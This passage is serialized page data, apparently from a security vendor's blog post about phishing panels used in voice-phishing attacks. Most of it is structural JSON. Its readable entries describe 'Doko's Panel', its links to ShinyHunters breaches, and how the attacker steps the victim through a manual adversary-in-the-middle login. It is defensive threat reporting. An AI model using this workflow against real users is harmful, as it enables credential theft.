data":50923,"content":50926,"nodeType":912},{"target":50924},{"sys":50925},{"id":43515,"type":909,"linkType":910},[],{"data":50928,"content":50929,"nodeType":866},{},[50930],{"data":50931,"marks":50932,"value":43523,"nodeType":865},{},[],{"data":50934,"content":50935,"nodeType":1616},{},[50936,50949,50962],{"data":50937,"content":50938,"nodeType":1570},{},[50939],{"data":50940,"content":50941,"nodeType":866},{},[50942,50946],{"data":50943,"marks":50944,"value":43537,"nodeType":865},{},[50945],{"type":926},{"data":50947,"marks":50948,"value":43541,"nodeType":865},{},[],{"data":50950,"content":50951,"nodeType":1570},{},[50952],{"data":50953,"content":50954,"nodeType":866},{},[50955,50959],{"data":50956,"marks":50957,"value":43552,"nodeType":865},{},[50958],{"type":926},{"data":50960,"marks":50961,"value":43556,"nodeType":865},{},[],{"data":50963,"content":50964,"nodeType":1570},{},[50965],{"data":50966,"content":50967,"nodeType":866},{},[50968,50972],{"data":50969,"marks":50970,"value":43567,"nodeType":865},{},[50971],{"type":926},{"data":50973,"marks":50974,"value":43571,"nodeType":865},{},[],{"data":50976,"content":50977,"nodeType":866},{},[50978],{"data":50979,"marks":50980,"value":43578,"nodeType":865},{},[],{"data":50982,"content":50983,"nodeType":1317},{},[50984],{"data":50985,"marks":50986,"value":43586,"nodeType":865},{},[50987],{"type":926},{"data":50989,"content":50990,"nodeType":866},{},[50991],{"data":50992,"marks":50993,"value":43593,"nodeType":865},{},[],{"data":50995,"content":50998,"nodeType":912},{"target":50996},{"sys":50997},{"id":43598,"type":909,"linkType":910},[],{"data":51000,"content":51001,"nodeType":866},{},[51002],{"data":51003,"marks":51004,"value":43606,"nodeType":865},{},[],{"data":51006,"content":51007,"nodeType":866},{},[51008],{"data":51009,"marks":51010,"value":43613,"nodeType":865},{},[],{"data":51012,"content":51015,"nodeType":912},{"target":51013},{"sys":51014},{"id":43618,"type":909,"linkType":910},[],{"data":51017,"content":51018,"nodeType":866},{},[51019],{"data":51020,"marks":51021,"value":43626,"nodeType":865},{},[],{"data":51023,"content":51024,"nodeType":1616},{},[51025,51038],{"data":51026,"content":51027,"nodeType":1570},{},[51028],{"data":51029,"content":51030,"nodeType":866},{},[51031,51035],{"data":51032,"marks":51033,"value":43640,"nodeType":865},{},[51034],{"type":926},{"data":51036,"marks":51037,"value":43644,"nodeType":865},{},[],{"data":51039,"content":51040,"nodeType":1570},{},[51041],{"data":51042,"content":51043,"nodeType":866},{},[51044,51048],{"data":51045,"marks":51046,"value":43655,"nodeType":865},{},[51047],{"type":926},{"data":51049,"marks":51050,"value":43659,"nodeType":865},{},[],{"data":51052,"content":51053,"nodeType":866},{},[51054],{"data":51055,"marks":51056,"value":43666,"nodeType":865},{},[],{"data":51058,"content":51061,"nodeType":912},{"target":51059},{"sys":51060},{"id":43671,"type":909,"linkType":910},[],{"data":51063,"content":51064,"nodeType":972},{},[],{"data":51066,"content":51067,"nodeType":981},{},[51068],{"data":51069,"marks":51070,"value":43683,"nodeType":865},{},[51071],{"type":926},{"data":51073,"content":51074,"nodeType":866},{},[51075],{"data":51076,"marks":51077,"value":43690,"nodeType":865},{},[],{"data":51079,"content":51080,"nodeType":866},{},[51081],{"data":51082,"marks":51083,"value":43697,"nodeType":865},{},[],{"data":51085,"content":51086,"nodeType":866},{},[51087],{"data":51088,"marks":51089,"value":43704,"nodeType":865},{},[],{"data":51091,"content":51094,"nodeType":912},{"target":51092},{"sys":51093},{"id":7412,"type":909,"linkType":910},[],{"data":51096,"content":51097,"nodeType":866},{},[51098],{"data":51099,"marks":51100,"value":43716,"nodeType":865},{},[],{"data":51102,"content":51103,"nodeType":866},{},[51104],{"data":51105,"marks":51106,"value":43723,"nodeType":865},{},[],{"data":51108,"content":51111,"nodeType":912},{"target":51109},{"sys":51110},{"id":43728,"type":909,"linkType":910},[],{"data":51113,"content":51114,"nodeType":866},{},[51115],{"data":51116,"marks":51117,"value":43736,"nodeType":865},{},[],{"data":51119,"content":51122,"nodeType":912},{"target":51120},{"sys":51121},{"id":43741,"type":909,"linkType":910},[],{"data":51124,"content":51125,"nodeType":866},{},[51126],{"data":51127,"marks":51128,"value":43749,"nodeType":865},{},[],{"data":51130,"content":51133,"nodeType":912},{"target":51131},{"sys":51132},{"id":43754,"type":909,"linkType":910},[],{"data":51135,"content":51136,"nodeType":866},{},[51137],{"data":51138,"marks":51139,"value":43762,"nodeType":865},{},[],{"data":51141,"content":51142,"nodeType":866},{},[51143],{"data":51144,"marks":51145,"value":43769,"nodeType":865},{},[],{"data":51147,"content":51148,"nodeType":972},{},[],{"data":51150,"content":51151,"nodeType":981},{},[51152],{"data":51153,"marks":51154,"value":43780,"nodeType":865},{},[51155],{"type":926},{"data":51157,"content":51158,"nodeType":866},{},[51159,51162,51166],{"data":51160,"marks":51161,"value":43787,"nodeType":865},{},[],{"data":51163,"marks":51164,"value":43792,"nodeType":865},{},[51165],{"type":926},{"data":51167,"marks":51168,"value":43796,"nodeType":865},{},[],{"data":51170,"content":51171,"nodeType":1317},{},[51172],{"data":51173,"marks":51174,"value":43803,"nodeType":865},{},[],{"data":51176,"content":51177,"nodeType":866},{},[51178,51181,51188],{"data":51179,"marks":51180,"value":43810,"nodeType":865},{},[],{"data":51182,"content":51183,"nodeType":889},{"uri":15592},[51184],{"data":51185,"marks":51186,"value":43818,"nodeType":865},{},[51187],{"type":943},{"data":51189,"marks":51190,"value":43822,"nodeType":865},{},[],{"data":51192,"content":51193,"nodeType":2927},{},[51194,51217,51244,51265,51310,51349,51370,51391],{"data":51195,"content":51196,"nodeType":2400},{},[51197,51207],{"data":51198,"content":51199,"nodeType":2366},{},[51200],{"data":51201,"content":51202,"nodeType":866},{},[51203],{"data":51204,"marks":51205,"value":43839,"nodeType":865},{},[51206],{"type":926},{"data":51208,"content":51209,"nodeType":2366},{},[51210],{"data":51211,"content":51212,"nodeType":866},{},[51213],{"data":51214,"marks":51215,"value":43337,"nodeType":865},{},[51216],{"type":926},{"data":51218,"content":51219,"nodeType":2400},{},[51220,51229],{"data":51221,"content":51222,"nodeType":2366},{},[51223],{"data":51224,"content":51225,"nodeType":866},{},[51226],{"data":51227,"marks":51228,"value":43365,"nodeType":865},{},[],{"data":51230,"content":51231,"nodeType":2366},{},[51232,51238],{"data":51233,"content":51234,"nodeType":866},{},[51235],{"data":51236,"marks":51237,"value":43871,"nodeType":865},{},[],{"data":51239,"content":51240,"nodeType":866},{},[51241],{"data":51242,"marks":51243,"value":43878,"nodeType":865},{},[],{"data":51245,"content":51246,"nodeType":2400},{},[51247,51256],{"data":51248,"content":51249,"nodeType":2366},{},[51250],{"data":51251,"content":51252,"nodeType":866},{},[51253],{"data":51254,"marks":51255,"value":43891,"nodeType":865},{},[],{"data":51257,"content":51258,"nodeType":2366},{},[51259],{"data":51260,"content":51261,"nodeType":866},{},[51262],{"data":51263,"marks":51264,"value":43901,"nodeType":865},{},[],{"data":51266,"content":51267,"nodeType":2400},{},[51268,51277],{"data":51269,"content":51270,"nodeType":2366},{},[51271],{"data":51272,"content":51273,"nodeType":866},{},[51274],{"data":51275,"marks":51276,"value":43914,"nodeType":865},{},[],{"data":51278,"content":51279,"nodeType":2366},{},[51280,51286,51292,51298,51304],{"data":51281,"content":51282,"nodeType":866},{},[51283],{"data":51284,"marks":51285,"value":43924,"nodeType":865},{},[],{"data":51287,"content":51288,"nodeType":866},{},[51289],{"data":51290,"marks":51291,"value":43931,"nodeType":865},{},[],{"data":51293,"content":51294,"nodeType":866},{},[51295],{"data":51296,"marks":51297,"value":43938,"nodeType":865},{},[],{"data":51299,"content":51300,"nodeType":866},{},[51301],{"data":51302,"marks":51303,"value":43945,"nodeType":865},{},[],{"data":51305,"content":51306,"nodeType":866},{},[51307],{"data":51308,"marks":51309,"value":43952,"nodeType":865},{},[],{"data":51311,"content":51312,"nodeType":2400},{},[51313,51322],{"data":51314,"content":51315,"nodeType":2366},{},[51316],{"data":51317,"content":51318,"nodeType":866},{},[51319],{"data":51320,"marks":51321,"value":43965,"nodeType":865},{},[],{"data":51323,"content":51324,"nodeType":2366},{},[51325,51331,51337,51343],{"data":51326,"content":51327,"nodeType":866},{},[51328],{"data":51329,"marks":51330,"value":43975,"nodeType":865},{},[],{"data":51332,"content":51333,"nodeType":866},{},[51334],{"data":51335,"marks":51336,"value":43982,"nodeType":865},{},[],{"data":51338,"content":51339,"nodeType":866},{},[51340],{"data":51341,"marks":51342,"value":43989,"nodeType":865},{},[],{"data":51344,"content":51345,"nodeType":866},{},[51346],{"data":51347,"marks":51348,"value":43996,"nodeType":865},{},[],{"data":51350,"content":51351,"nodeType":2400},{},[51352,51361],{"data":51353,"content":51354,"nodeType":2366},{},[51355],{"data":51356,"content":51357,"nodeType":866},{},[51358],{"data":51359,"marks":51360,"value":44009,"nodeType":865},{},[],{"data":51362,"content":51363,"nodeType":2366},{},[51364],{"data":51365,"content":51366,"nodeType":866},{},[51367],{"data":51368,"marks":51369,"value":44019,"nodeType":865},{},[],{"data":51371,"content":51372,"nodeType":2400},{},[51373,51382],{"data":51374,"content":51375,"nodeType":2366},{},[51376],{"data":51377,"content":51378,"nodeType":866},{},[51379],{"data":51380,"marks":51381,"value":44032,"nodeType":865},{},[],{"data":51383,"content":51384,"nodeType":2366},{},[51385],{"data":51386,"content":51387,"nodeType":866},{},[51388],{"data":51389,"marks":51390,"value":44042,"nodeType":865},{},[],{"data":51392,"content":51393,"nodeType":2400},{},[51394,51403],{"data":51395,"content":51396,"nodeType":2366},{},[51397],{"data":51398,"content":51399,"nodeType":866},{},[51400],{"data":51401,"marks":51402,"value":44055,"nodeType":865},{},[],{"data":51404,"content":51405,"nodeType":2366},{},[51406],{"data":51407,"content":51408,"nodeType":866},{},[51409],{"data":51410,"marks":51411,"value":44065,"nodeType":865},{},[],{"data":51413,"content":51414,"nodeType":1317},{},[51415],{"data":51416,"marks":51417,"value":44072,"nodeType":865},{},[],{"data":51419,"content":51420,"nodeType":866},{},[51421,51424,51431,51434,51441],{"data":51422,"marks":51423,"value":44079,"nodeType":865},{},[],{"data":51425,"content":51426,"nodeType":889},{"uri":15592},[51427],{"data":51428,"marks":51429,"value":44087,"nodeType":865},{},[51430],{"type":943},{"data":51432,"marks":51433,"value":6719,"nodeType":865},{},[],{"data":51435,"content":51436,"nodeType":889},{"uri":44093},[51437],{"data":51438,"marks":51439,"value":44099,"nodeType":865},{},[51440],{"type":943},{"data":51442,"marks":51443,"value":44103,"nodeType":865},{},[],{"data":51445,"content":51446,"nodeType":2927},{},[51447,51470,51509,51530,51563,51602,51623,51644],{"data":51448,"content":51449,"nodeType":2400},{},[51450,51460],{"data":51451,"content":51452,"nodeType":2366},{},[51453],{"data":51454,"content":51455,"nodeType":866},{},[51456],{"data":51457,"marks":51458,"value":43839,"nodeType":865},{},[51459],{"type":926},{"data":51461,"content":51462,"nodeType":2366},{},[51463],{"data":51464,"content":51465,"nodeType":866},{},[51466],{"data":51467,"marks":51468,"value":43463,"nodeType":865},{},[51469],{"type":926},{"data":51471,"content":51472,"nodeType":2400},{},[51473,51482],{"data":51474,"content":51475,"nodeType":2366},{},[51476],{"data":51477,"content":51478,"nodeType":866},{},[51479],{"data":51480,"marks":51481,"value":43365,"nodeType":865},{},[],{"data":51483,"content":51484,"nodeType":2366},{},[51485,51491,51497,51503],{"data":51486,"content":51487,"nodeType":866},{},[51488],{"data":51489,"marks":51490,"value":44151,"nodeType":865},{},[],{"data":51492,"content":51493,"nodeType":866},{},[51494],{"data":51495,"marks":51496,"value":44158,"nodeType":865},{},[],{"data":51498,"content":51499,"nodeType":866},{},[51500],{"data":51501,"marks":51502,"value":44165,"nodeType":865},{},[],{"data":51504,"content":51505,"nodeType":866},{},[51506],{"data":51507,"marks":51508,"value":44172,"nodeType":865},{},[],{"data":51510,"content":51511,"nodeType":2400},{},[51512,51521],{"data":51513,"content":51514,"nodeType":2366},{},[51515],{"data":51516,"content":51517,"nodeType":866},{},[51518],{"data":51519,"marks":51520,"value":43891,"nodeType":865},{},[],{"data":51522,"content":51523,"nodeType":2366},{},[51524],{"data":51525,"content":51526,"nodeType":866},{},[51527],{"data":51528,"marks":51529,"value":44194,"nodeType":865},{},[],{"data":51531,"content":51532,"nodeType":2400},{},[51533,51542],{"data":51534,"content":51535,"nodeType":2366},{},[51536],{"data":51537,"content":51538,"nodeType":866},{},[51539],{"data":51540,"marks":51541,"value":43914,"nodeType":865},{},[],{"data":51543,"content":51544,"nodeType":2366},{},[51545,51551,51557],{"data":51546,"content":51547,"nodeType":866},{},[51548],{"data":51549,"marks":51550,"value":44216,"nodeType":865},{},[],{"data":51552,"content":51553,"nodeType":866},{},[51554],{"data":51555,"marks":51556,"value":44223,"nodeType":865},{},[],{"data":51558,"content":51559,"nodeType":866},{},[51560],{"data":51561,"marks":51562,"value":43952,"nodeType":865},{},[],{"data":51564,"content":51565,"nodeType":2400},{},[51566,51575],{"data":51567,"content":51568,"nodeType":2366},{},[51569],{"data":51570,"content":51571,"nodeType":866},{},[51572],{"data":51573,"marks":51574,"value":43965,"nodeType":865},{},[],{"data":51576,"content":51577,"nodeType":2366},{},[51578,51584,51590,51596],{"data":51579,"content":51580,"nodeType":866},{},[51581],{"data":51582,"marks":51583,"value":44251,"nodeType":865},{},[],{"data":51585,"content":51586,"nodeType":866},{},[51587],{"data":51588,"marks":51589,"value":44258,"nodeType":865},{},[],{"data":51591,"content":51592,"nodeType":866},{},[51593],{"data":51594,"marks":51595,"value":44265,"nodeType":865},{},[],{"data":51597,"content":51598,"nodeType":866},{},[51599],{"data":51600,"marks":51601,"value":44272,"nodeType":865},{},[],{"data":51603,"content":51604,"nodeType":2400},{},[51605,51614],{"data":51606,"content":51607,"nodeType":2366},{},[51608],{"data":51609,"content":51610,"nodeType":866},{},[51611],{"data":51612,"marks":51613,"value":44009,"nodeType":865},{},[],{"data":51615,"content":51616,"nodeType":2366},{},[51617],{"data":51618,"content":51619,"nodeType":866},{},[51620],{"data":51621,"marks":51622,"value":44294,"nodeType":865},{},[],{"data":51624,"content":51625,"nodeType":2400},{},[51626,51635],{"data":51627,"content":51628,"nodeType":2366},{},[51629],{"data":51630,"content":51631,"nodeType":866},{},[51632],{"data":51633,"marks":51634,"value":44032,"nodeType":865},{},[],{"data":51636,"content":51637,"nodeType":2366},{},[51638],{"data":51639,"content":51640,"nodeType":866},{},[51641],{"data":51642,"marks":51643,"value":44316,"nodeType":865},{},[],{"data":51645,"content":51646,"nodeType":2400},{},[51647,51656],{"data":51648,"content":51649,"nodeType":2366},{},[51650],{"data":51651,"content":51652,"nodeType":866},{},[51653],{"data":51654,"marks":51655,"value":44055,"nodeType":865},{},[],{"data":51657,"content":51658,"nodeType":2366},{},[51659],{"data":51660,"content":51661,"nodeType":866},{},[51662],{"data":51663,"marks":51664,"value":44338,"nodeType":865},{},[],{"data":51666,"content":51667,"nodeType":1317},{},[51668],{"data":51669,"marks":51670,"value":44345,"nodeType":865},{},[],{"data":51672,"content":51673,"nodeType":866},{},[51674],{"data":51675,"marks":51676,"value":44352,"nodeType":865},{},[],{"data":51678,"content":51679,"nodeType":2927},{},[51680,51703,51724,51745,51766,51805,51826,51847],{"data":51681,"content":51682,"nodeType":2400},{},[51683,51693],{"data":51684,"content":51685,"nodeType":2366},{},[51686],{"data":51687,"content":51688,"nodeType":866},{},[51689],{"data":51690,"marks":51691,"value":43839,"nodeType":865},{},[51692],{"type":926},{"data":51694,"content":51695,"nodeType":2366},{},[51696],{"data":51697,"content":51698,"nodeType":866},{},[51699],{"data":51700,"marks":51701,"value":44379,"nodeType":865},{},[51702],{"type":926},{"data":51704,"content":51705,"nodeType":2400},{},[51706,51715],{"data":51707,"content":51708,"nodeType":2366},{},[51709],{"data":51710,"content":51711,"nodeType":866},{},[51712],{"data":51713,"marks":51714,"value":43365,"nodeType":865},{},[],{"data":51716,"content":51717,"nodeType":2366},{},[51718],{"data":51719,"content":51720,"nodeType":866},{},[51721],{"data":51722,"marks":51723,"value":44401,"nodeType":865},{},[],{"data":51725,"content":51726,"nodeType":2400},{},[51727,51736],{"data":51728,"content":51729,"nodeType":2366},{},[51730],{"data":51731,"content":51732,"nodeType":866},{},[51733],{"data":51734,"marks":51735,"value":43891,"nodeType":865},{},[],{"data":51737,"content":51738,"nodeType":2366},{},[51739],{"data":51740,"content":51741,"nodeType":866},{},[51742],{"data":51743,"marks":51744,"value":44423,"nodeType":865},{},[],{"data":51746,"content":51747,"nodeType":2400},{},[51748,51757],{"data":51749,"content":51750,"nodeType":2366},{},[51751],{"data":51752,"content":51753,"nodeType":866},{},[51754],{"data":51755,"marks":51756,"value":43914,"nodeType":865},{},[],{"data":51758,"content":51759,"nodeType":2366},{},[51760],{"data":51761,"content":51762,"nodeType":866},{},[51763],{"data":51764,"marks":51765,"value":44445,"nodeType":865},{},[],{"data":51767,"content":51768,"nodeType":2400},{},[51769,51778],{"data":51770,"content":51771,"nodeType":2366},{},[51772],{"data":51773,"content":51774,"nodeType":866},{},[51775],{"data":51776,"marks":51777,"value":43965,"nodeType":865},{},[],{"data":51779,"content":51780,"nodeType":2366},{},[51781,51787,51793,51799],{"data":51782,"content":51783,"nodeType":866},{},[51784],{"data":51785,"marks":51786,"value":44467,"nodeType":865},{},[],{"data":51788,"content":51789,"nodeType":866},{},[51790],{"data":51791,"marks":51792,"value":44474,"nodeType":865},{},[],{"data":51794,"content":51795,"nodeType":866},{},[51796],{"data":51797,"marks":51798,"value":44481,"nodeType":865},{},[],{"data":51800,"content":51801,"nodeType":866},{},[51802],{"data":51803,"marks":51804,"value":44488,"nodeType":865},{},[],{"data":51806,"content":51807,"nodeType":2400},{},[51808,51817],{"data":51809,"content":51810,"nodeType":2366},{},[51811],{"data":51812,"content":51813,"nodeType":866},{},[51814],{"data":51815,"marks":51816,"value":44009,"nodeType":865},{},[],{"data":51818,"content":51819,"nodeType":2366},{},[51820],{"data":51821,"content":51822,"nodeType":866},{},[51823],{"data":51824,"marks":51825,"value":44294,"nodeType":865},{},[],{"data":51827,"content":51828,"nodeType":2400},{},[51829,51838],{"data":51830,"content":51831,"nodeType":2366},{},[51832],{"data":51833,"content":51834,"nodeType":866},{},[51835],{"data":51836,"marks":51837,"value":44032,"nodeType":865},{},[],{"data":51839,"content":51840,"nodeType":2366},{},[51841],{"data":51842,"content":51843,"nodeType":866},{},[51844],{"data":51845,"marks":51846,"value":44531,"nodeType":865},{},[],{"data":51848,"content":51849,"nodeType":2400},{},[51850,51859],{"data":51851,"content":51852,"nodeType":2366},{},[51853],{"data":51854,"content":51855,"nodeType":866},{},[51856],{"data":51857,"marks":51858,"value":44055,"nodeType":865},{},[],{"data":51860,"content":51861,"nodeType":2366},{},[51862],{"data":51863,"content":51864,"nodeType":866},{},[51865],{"data":51866,"marks":51867,"value":44553,"nodeType":865},{},[],{"data":51869,"content":51870,"nodeType":1317},{},[51871],{"data":51872,"marks":51873,"value":44560,"nodeType":865},{},[],{"data":51875,"content":51876,"nodeType":2927},{},[51877,51900,51921,51942,51963,51990,52011,52032],{"data":51878,"content":51879,"nodeType":2400},{},[51880,51890],{"data":51881,"content":51882,"nodeType":2366},{},[51883],{"data":51884,"content":51885,"nodeType":866},{},[51886],{"data":51887,"marks":51888,"value":43839,"nodeType":865},{},[51889],{"type":926},{"data":51891,"content":51892,"nodeType":2366},{},[51893],{"data":51894,"content":51895,"nodeType":866},{},[51896],{"data":51897,"marks":51898,"value":44587,"nodeType":865},{},[51899],{"type":926},{"data":51901,"content":51902,"nodeType":2400},{},[51903,51912],{"data":51904,"content":51905,"nodeType":2366},{},[51906],{"data":51907,"content":51908,"nodeType":866},{},[51909],{"data":51910,"marks":51911,"value":43365,"nodeType":865},{},[],{"data":51913,"content":51914,"nodeType":2366},{},[51915],{"data":51916,"content":51917,"nodeType":866},{},[51918],{"data":51919,"marks":51920,"value":44609,"nodeType":865},{},[],{"data":51922,"content":51923,"nodeType":2400},{},[51924,51933],{"data":51925,"content":51926,"nodeType":2366},{},[51927],{"data":51928,"content":51929,"nodeType":866},{},[51930],{"data":51931,"marks":51932,"value":43891,"nodeType":865},{},[],{"data":51934,"content":51935,"nodeType":2366},{},[51936],{"data":51937,"content":51938,"nodeType":866},{},[51939],{"data":51940,"marks":51941,"value":44631,"nodeType":865},{},[],{"data":51943,"content":51944,"nodeType":2400},{},[51945,51954],{"data":51946,"content":51947,"nodeType":2366},{},[51948],{"data":51949,"content":51950,"nodeType":866},{},[51951],{"data":51952,"marks":51953,"value":43914,"nodeType":865},{},[],{"data":51955,"content":51956,"nodeType":2366},{},[51957],{"data":51958,"content":51959,"nodeType":866},{},[51960],{"data":51961,"marks":51962,"value":44653,"nodeType":865},{},[],{"data":51964,"content":51965,"nodeType":2400},{},[51966,51975],{"data":51967,"content":51968,"nodeType":2366},{},[51969],{"data":51970,"content":51971,"nodeType":866},{},[51972],{"data":51973,"marks":51974,"value":43965,"nodeType":865},{},[],{"data":51976,"content":51977,"nodeType":2366},{},[51978,51984],{"data":51979,"content":51980,"nodeType":866},{},[51981],{"data":51982,"marks":51983,"value":44675,"nodeType":865},{},[],{"data":51985,"content":51986,"nodeType":866},{},[51987],{"data":51988,"marks":51989,"value":44682,"nodeType":865},{},[],{"data":51991,"content":51992,"nodeType":2400},{},[51993,52002],{"data":51994,"content":51995,"nodeType":2366},{},[51996],{"data":51997,"content":51998,"nodeType":866},{},[51999],{"data":52000,"marks":52001,"value":44009,"nodeType":865},{},[],{"data":52003,"content":52004,"nodeType":2366},{},[52005],{"data":52006,"content":52007,"nodeType":866},{},[52008],{"data":52009,"marks":52010,"value":44019,"nodeType":865},{},[],{"data":52012,"content":52013,"nodeType":2400},{},[52014,52023],{"data":52015,"content":52016,"nodeType":2366},{},[52017],{"data":52018,"content":52019,"nodeType":866},{},[52020],{"data":52021,"marks":52022,"value":44032,"nodeType":865},{},[],{"data":52024,"content":52025,"nodeType":2366},{},[52026],{"data":52027,"content":52028,"nodeType":866},{},[52029],{"data":52030,"marks":52031,"value":44531,"nodeType":865},{},[],{"data":52033,"content":52034,"nodeType":2400},{},[52035,52044],{"data":52036,"content":52037,"nodeType":2366},{},[52038],{"data":52039,"content":52040,"nodeType":866},{},[52041],{"data":52042,"marks":52043,"value":44055,"nodeType":865},{},[],{"data":52045,"content":52046,"nodeType":2366},{},[52047],{"data":52048,"content":52049,"nodeType":866},{},[52050],{"data":52051,"marks":52052,"value":44553,"nodeType":865},{},[],{"data":52054,"content":52055,"nodeType":972},{},[],{"data":52057,"content":52058,"nodeType":981},{},[52059],{"data":52060,"marks":52061,"value":44756,"nodeType":865},{},[52062],{"type":926},{"data":52064,"content":52065,"nodeType":866},{},[52066],{"data":52067,"marks":52068,"value":44763,"nodeType":865},{},[],{"data":52070,"content":52071,"nodeType":866},{},[52072],{"data":52073,"marks":52074,"value":44770,"nodeType":865},{},[],{"data":52076,"content":52077,"nodeType":866},{},[52078,52082],{"data":52079,"marks":52080,"value":44778,"nodeType":865},{},[52081],{"type":926},{"data":52083,"marks":52084,"value":44782,"nodeType":865},{},[],{"data":52086,"content":52087,"nodeType":972},{},[],{"data":52089,"content":52090,"nodeType":981},{},[52091],{"data":52092,"marks":52093,"value":38032,"nodeType":865},{},[52094],{"type":926},{"data":52096,"content":52097,"nodeType":866},{},[52098,52101,52107],{"data":52099,"marks":52100,"value":44799,"nodeType":865},{},[],{"data":52102,"content":52103,"nodeType":889},{"uri":38042},[52104],{"data":52105,"marks":52106,"value":38047,"nodeType":865},{},[],{"data":52108,"marks":52109,"value":44809,"nodeType":865},{},[],{"data":52111,"content":52112,"nodeType":866},{},[52113,52116,52122],{"data":52114,"marks":52115,"value":21,"nodeType":865},{},[],{"data":52117,"content":52118,"nodeType":889},{"uri":44818},[52119],{"data":52120,"marks":52121,"value":44823,"nodeType":865},{},[],{"data":52123,"marks":52124,"value":21,"nodeType":865},{},[],{"data":52126,"content":52127,"nodeType":866},{},[52128],{"data":52129,"marks":52130,"value":37990,"nodeType":865},{},[52131],{"type":926},{"data":52133,"content":52134,"nodeType":972},{},[],{"data":52136,"content":52137,"nodeType":981},{},[52138],{"data":52139,"marks":52140,"value":2270,"nodeType":865},{},[52141],{"type":926},{"data":52143,"content":52144,"nodeType":866},{},[52145,52148,52154],{"data":52146,"marks":52147,"value":44850,"nodeType":865},{},[],{"data":52149,"content":52150,"nodeType":889},{"uri":1372},[52151],{"data":52152,"marks":52153,"value":2298,"nodeType":865},{},[],{"data":52155,"marks":52156,"value":2302,"nodeType":865},{},[],{"entries":52158},{"hyperlink":52159,"inline":52160,"block":52161},[],[],[52162,52169,52194,52220,52234,52241,52247,52291,52297,52303,52317,52323,52330,52337,52344,52351,52358],{"sys":52163,"__typename":1390,"title":52164,"caption":52165,"layoutMode":59,"file":52166},{"id":43027},"One example of a deployment portal identified Push that is currently in active use (redacted).","One example of a deployment portal identified by Push that is currently in active use (redacted).",{"url":52167,"width":1402,"height":52168},"https://images.ctfassets.net/y1cdw1ablpvd/68nyea8Rava8TWxoodHhM7/ca0a81e683c541b969703c22a3f2b992/image4.png",1124,{"sys":52170,"__typename":5503,"content":52171,"name":52193,"title":59},{"id":43045},{"json":52172},{"nodeType":1382,"data":52173,"content":52174},{},[52175,52182],{"nodeType":866,"data":52176,"content":52177},{},[52178],{"nodeType":865,"value":52179,"marks":52180,"data":52181},"It’s easier than ever for attackers to spin up and tear down their phishing infrastructure by abusing a range of legitimate services. This is why we’re focused on detecting the actual malicious page at the end of the chain, regardless of the hosting, infrastructure, or delivery vector.",[],{},{"nodeType":866,"data":52183,"content":52184},{},[52185,52190],{"nodeType":865,"value":52186,"marks":52187,"data":52189},"This is extra useful in this case when we consider that a phone call is the delivery vector — not something that typically email-based phishing controls would be able to intercept",[52188],{"type":926},{},{"nodeType":865,"value":1615,"marks":52191,"data":52192},[],{},"Phishing Panel Blog IB1",{"sys":52195,"__typename":5503,"content":52196,"name":52219,"title":59},{"id":43139},{"json":52197},{"data":52198,"content":52199,"nodeType":1382},{},[52200],{"data":52201,"content":52202,"nodeType":866},{},[52203,52207,52215],{"data":52204,"marks":52205,"value":52206,"nodeType":865},{},[],"Resulting breaches have already been publicly confirmed at SoundCloud (30 million records), Match Group (Hinge, OkCupid, and Match.com — over 10 million records), Betterment (20 million records), and Crunchbase, among others — all linked to ",{"data":52208,"content":52209,"nodeType":889},{"uri":4991},[52210],{"data":52211,"marks":52212,"value":52214,"nodeType":865},{},[52213],{"type":943},"ShinyHunters-branded",{"data":52216,"marks":52217,"value":52218,"nodeType":865},{},[]," extortion demands. The group also claimed breaches at Bumble, CarMax, Panera Bread, Harvard, the University of Pennsylvania and others in the same period, using data stolen in the Salesforce breaches in 2025 to identify victims and make the social engineering more convincing.","Phishing Panel Blog IB5",{"sys":52221,"__typename":5503,"content":52222,"name":52233,"title":59},{"id":43163},{"json":52223},{"nodeType":1382,"data":52224,"content":52225},{},[52226],{"nodeType":866,"data":52227,"content":52228},{},[52229],{"nodeType":865,"value":52230,"marks":52231,"data":52232},"Doko’s Panel, which takes its name from the Telegram alias of its developer, was linked to ShinyHunters attacks earlier this year. The same persona behind Doko's Panel has been observed actively recruiting \"experienced callers\" via Telegram, specifying requirements including fluent English with no accent, and advertising six-to-seven-figure weekly returns — evidence of the professionalized vishing-as-a-service model that complements the phishing kit ecosystem. ",[],{},"Phishing Panel Blog IB2",{"sys":52235,"__typename":1390,"title":52236,"caption":52236,"layoutMode":59,"file":52237},{"id":43310},"How the panel is operated during a phishing attack",{"url":52238,"width":52239,"height":52240},"https://images.ctfassets.net/y1cdw1ablpvd/37tinpxZjSb3LUOCdnVKge/b92c9911e992de27f6411f07b0c1e796/Screenshot_2026-05-07_at_12.33.21.png",3290,1902,{"sys":52242,"__typename":52243,"title":52244,"arcadeDemoUrl":52245,"playText":52246},{"id":43316},"ArcadeDemo","Phishing Panel Annotated Demo","https://demo.arcade.software/dDjAyFfOHyGepDwLWJKw?embed","1 mins",{"sys":52248,"__typename":5503,"content":52249,"name":52290,"title":59},{"id":43328},{"json":52250},{"nodeType":1382,"data":52251,"content":52252},{},[52253,52260],{"nodeType":866,"data":52254,"content":52255},{},[52256],{"nodeType":865,"value":52257,"marks":52258,"data":52259},"Functionally, this is the same as a typical AITM attack — except that the stages are performed manually by the attacker instead of automatically proxying the victim’s inputs to the real site. ",[],{},{"nodeType":866,"data":52261,"content":52262},{},[52263,52267,52273,52277,52286],{"nodeType":865,"value":52264,"marks":52265,"data":52266},"This seems like an odd choice. On one hand, this is a very sophisticated version of a voice phishing attack. But on the other, it’s not taking advantage of some of the standard capabilities that common AITM kits have. This more manual approach is something that ",[],{},{"nodeType":889,"data":52268,"content":52269},{"uri":4991},[52270],{"nodeType":865,"value":4996,"marks":52271,"data":52272},[],{},{"nodeType":865,"value":52274,"marks":52275,"data":52276}," were known for during the ",[],{},{"nodeType":889,"data":52278,"content":52280},{"uri":52279},"https://www.group-ib.com/blog/0ktapus/",[52281],{"nodeType":865,"value":52282,"marks":52283,"data":52285},"0ktapus",[52284],{"type":943},{},{"nodeType":865,"value":52287,"marks":52288,"data":52289}," days. But it doesn’t make much difference to the outcome, or what we can observe to detect the attack in the browser.",[],{},"Phishing Panel Blog IB3",{"sys":52292,"__typename":1390,"title":52293,"caption":52293,"layoutMode":59,"file":52294},{"id":43426},"Anyone can access Doko’s Panel without authentication.",{"url":52295,"width":1402,"height":52296},"https://images.ctfassets.net/y1cdw1ablpvd/1E2c3tIITtYeiD5GtSecxt/91c95bb593188975b1a4a96effb5bea8/image5.png",307,{"sys":52298,"__typename":1390,"title":52299,"caption":52299,"layoutMode":59,"file":52300},{"id":43432},"Admin panel 